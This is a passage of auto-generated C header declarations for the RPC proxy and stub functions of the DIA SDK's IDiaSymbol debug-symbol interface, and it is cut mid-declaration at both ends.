*pRetVal); void __RPC_STUB IDiaSymbol_get_frontEndQFE_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_backEndQFE_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_backEndQFE_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_wasInlined_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_wasInlined_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_strictGSCheck_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_strictGSCheck_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCxxReturnUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isCxxReturnUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isConstructorVirtualBase_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isConstructorVirtualBase_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_RValueReference_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_RValueReference_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_unmodifiedType_Proxy( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol_get_unmodifiedType_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_framePointerPresent_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_framePointerPresent_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSafeBuffers_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isSafeBuffers_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_intrinsic_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_intrinsic_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_sealed_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_sealed_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hfaFloat_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_hfaFloat_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hfaDouble_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_hfaDouble_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartAddressSection_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_liveRangeStartAddressSection_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartAddressOffset_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_liveRangeStartAddressOffset_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartRelativeVirtualAddress_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_liveRangeStartRelativeVirtualAddress_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_countLiveRanges_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_countLiveRanges_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeLength_Proxy( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); void __RPC_STUB IDiaSymbol_get_liveRangeLength_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_offsetInUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_offsetInUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_paramBasePointerRegisterId_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_paramBasePointerRegisterId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_localBasePointerRegisterId_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_localBasePointerRegisterId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isLocationControlFlowDependent_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isLocationControlFlowDependent_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_stride_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_stride_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfRows_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_numberOfRows_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfColumns_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_numberOfColumns_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMatrixRowMajor_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isMatrixRowMajor_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numericProperties_Proxy( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); void __RPC_STUB IDiaSymbol_get_numericProperties_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_get_modifierValues_Proxy( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); void __RPC_STUB IDiaSymbol_get_modifierValues_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isReturnValue_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isReturnValue_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isOptimizedAway_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isOptimizedAway_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_builtInKind_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_builtInKind_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_registerType_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_registerType_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseDataSlot_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_baseDataSlot_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseDataOffset_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_baseDataOffset_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_textureSlot_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_textureSlot_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_samplerSlot_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_samplerSlot_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_uavSlot_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_uavSlot_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_sizeInUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_sizeInUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_memorySpaceKind_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_memorySpaceKind_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_unmodifiedTypeId_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_unmodifiedTypeId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_subTypeId_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_subTypeId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_subType_Proxy( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol_get_subType_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfModifiers_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_numberOfModifiers_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfRegisterIndices_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_numberOfRegisterIndices_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isHLSLData_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isHLSLData_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerToDataMember_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isPointerToDataMember_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerToMemberFunction_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isPointerToMemberFunction_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSingleInheritance_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isSingleInheritance_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMultipleInheritance_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isMultipleInheritance_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isVirtualInheritance_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isVirtualInheritance_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_restrictedType_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_restrictedType_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerBasedOnSymbolValue_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isPointerBasedOnSymbolValue_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseSymbol_Proxy( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol_get_baseSymbol_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseSymbolId_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_baseSymbolId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_objectFileName_Proxy( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); void __RPC_STUB IDiaSymbol_get_objectFileName_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorGroupSharedLocal_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isAcceleratorGroupSharedLocal_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorPointerTagLiveRange_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isAcceleratorPointerTagLiveRange_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorStubFunction_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isAcceleratorStubFunction_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfAcceleratorPointerTags_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_numberOfAcceleratorPointerTags_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSdl_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isSdl_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isWinRTPointer_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isWinRTPointer_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isRefUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isRefUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isValueUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isValueUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isInterfaceUdt_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isInterfaceUdt_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByAddr_Proxy( IDiaSymbol * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); void __RPC_STUB IDiaSymbol_findInlineFramesByAddr_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByRVA_Proxy( IDiaSymbol * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); void __RPC_STUB IDiaSymbol_findInlineFramesByRVA_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByVA_Proxy( IDiaSymbol * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); void __RPC_STUB IDiaSymbol_findInlineFramesByVA_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLines_Proxy( IDiaSymbol * This, /* [out] */ IDiaEnumLineNumbers **ppResult); void __RPC_STUB IDiaSymbol_findInlineeLines_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByAddr_Proxy( IDiaSymbol * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); void __RPC_STUB IDiaSymbol_findInlineeLinesByAddr_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByRVA_Proxy( IDiaSymbol * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); void __RPC_STUB IDiaSymbol_findInlineeLinesByRVA_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByVA_Proxy( IDiaSymbol * This, /* [in] */ ULONGLONG va, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); void __RPC_STUB IDiaSymbol_findInlineeLinesByVA_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findSymbolsForAcceleratorPointerTag_Proxy( IDiaSymbol * This, /* [in] */ DWORD tagValue, /* [out] */ IDiaEnumSymbols **ppResult); void __RPC_STUB IDiaSymbol_findSymbolsForAcceleratorPointerTag_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag_Proxy( IDiaSymbol * This, /* [in] */ DWORD tagValue, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); void __RPC_STUB IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_get_acceleratorPointerTags_Proxy( IDiaSymbol * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pPointerTags); void __RPC_STUB IDiaSymbol_get_acceleratorPointerTags_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_getSrcLineOnTypeDefn_Proxy( IDiaSymbol * This, /* [out] */ IDiaLineNumber **ppResult); void __RPC_STUB IDiaSymbol_getSrcLineOnTypeDefn_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE 